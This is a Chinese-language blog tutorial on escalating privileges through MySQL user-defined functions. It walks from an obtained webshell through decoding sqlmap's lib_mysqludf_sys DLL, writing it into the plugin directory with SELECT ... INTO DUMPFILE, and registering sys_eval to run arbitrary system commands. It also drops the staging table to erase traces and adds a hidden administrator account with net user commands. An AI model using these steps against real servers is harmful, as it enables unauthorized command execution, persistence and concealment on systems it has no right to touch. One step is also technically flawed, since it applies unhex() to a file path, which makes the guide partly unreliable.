Mysql提權之udf提權

0x01 udf是什麼?

udf(user defined function),即’用戶自定義函數’。是通過添加新函數,對Mysql的功能進行擴充,進行擴充後就像在使用Mysql內置函數如concat()、version()一樣。

0x02 如何使用udf?
通常udf在Mysql5.1後的版本中,存在於‘mysql/lib/plugin’目錄下,文件後綴爲‘.dll’.。假設我的udf文件的名稱爲‘udf.dll’,存放在Mysql根目錄的‘lib/plugin’目錄下。在udf.dll文件中,我們定義了名爲sys_eval的mysql函數,該函數可以執行系統任意命令。如果我現在在Mysql的命令行中輸入‘select sys_eval(‘dir’);’的話,系統會提示sys_eval函數未定義。因爲我們僅僅是把‘udf.dll’放在了一個地方,但是並沒有在Mysql中引入’udf.dll’中的函數。
所以,應該把’udf.dll’中的自定義函數引入進來。

創建函數的Mysql命令:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

在命令中,只有兩個變量:一個是funciton_name(函數名),在這裏就是sys_eval;還有一個變量是shared_library_name(共享包名稱),即這裏的’udf.dll’。

到此已經成功引入了sys_eval函數,下面就是使用了。
這個函數用於執行系統命令,用法如下:

select sys_eval('cmd command');

這樣Mysql通過udf提權就成功了。當然這只是個整體過程,下來慢慢說udf提權的細節。

0x03 瞭解udf對於不同Mysql版本的差異

  1. Mysqlb版本大於等於5.1:
    udf.dll必須存放在Mysql安裝目錄的’lib\plugin’文件夾下。(plugin文件默認不存在,需要自行創建;Mysql安裝目錄可以通過’select basedir()或者 select @@basedir查看’)。
  2. Mysql版本小於5.1:
    如果是win 2000服務器,需要將udf.dll文件導入到’C:\Winnt\udf.dll 下’。
    如果是win 2003服務器,需要將udf.dll文件導出在’C:\Windows\udf.dll 下’。

0x04 使用udf提權
現在已經瞭解了udf是什麼,以及如何引入udf,下面的關注重點就是提權了。其實到這裏,提權已經結束,因爲對於sys_eval()函數,其中的指令是直接以管理員分權限運行的,所以這也就是最高權限了。

下面整理一下步驟:

  1. 將udf文件放到指定位置(Mysql>5.1放在Mysql根目錄的lib\plugin文件夾下)
  2. 從udf文件中引入自定義函數(user defined function)
  3. 執行自定義函數

先看第一步,拿到一個網站的webshell之後,在指定位置創建udf文件。如何創建?先別忘了,現在連源udf文件都沒有。sqlmap中有現成的udf文件,分爲32位和64位,一定要選擇對版本,否則會顯示:Can’t open shared library ‘udf.dll’。

自動化注入工具Sqlmap已經集成了此功能。

在 sqlmap\udf\mysql\windows\32目錄下存放着lib_mysqludf_sys.dll_

(sqlmap\udf\mysql\windows\64目錄下爲64位的lib_mysqludf_sys.dll_,但是64位的測試失敗)

但是sqlmap 中 自帶 的shell 以及一些二進制文件,爲了防止被誤殺都經過異或方式編碼,不能直接使用的。可以利用sqlmap 自帶的解碼工具cloak.py
目錄 sqlmap\extra\cloak\cloak.py 對sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解碼後,再直接利用。


首先進入到’sqlmap\extra\cloak’目錄下,執行命令
在這裏插入圖片描述
C:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_會生成lib_mysqludf_sys.dll
在這裏插入圖片描述


攻擊者可以利用lib_mysqludf_sys提供的函數執行系統命令。
sys_eval,執行任意命令,並將輸出返回。

sys_exec,執行任意命令,並將退出碼返回。

sys_get,獲取一個環境變量。

sys_set,創建或修改一個環境變量。

然後將獲得的udf.dll文件轉換成16進制,可以通過本地使用Mysql函數轉換

SELECT hex(load_file('C:\\sqlmap\\data\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll')) into dumpfile 'C:\\output\\result.txt';

此時,'C:\output\result.txt’文件的內容就是udf.dll文件的16進制形式

接下來就是把本地的udf.dll的16進制文件通過我們已經獲得的webshell傳到目標主機上。

1. CREATE TABLE udftmp (c blob); //新建一個表,名爲udftmp,用於存放本地傳來的udf文件的內容。
2. INSERT INTO udftmp values(unhex('C:\\output\\result.txt')); //在udftmp中寫入udf文件內容
3. SELECT c FROM udftmp INTO DUMPFILE 'C:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //將udf文件內容傳入新建的udf文件中,路徑根據自己的@@basedir修改
//對於mysql小於5.1的,導出目錄爲C:\Windows\或C:\Windows\System32\

沒有piugin可以手工創建一個plugin文件夾

到這裏沒有報錯的話就說明已經在主機上生成了udf.dll文件。下面要導入udf函數:

1. DROP TABLE udftmp; //爲了刪除痕跡,把剛剛新建的udftmp表刪掉
2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //導入udf函數

導入成功的話就可以使用sys_eval函數了:

SELECT sys_eval('dir');
列出當前目錄所有的文件

附幾個常用的cmd指令,用於添加一個管理員用戶:

net user user user /add //添加新用戶:user,密碼爲user
net localgroup administrators user /add //將ka1n4t添加至管理員分組


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章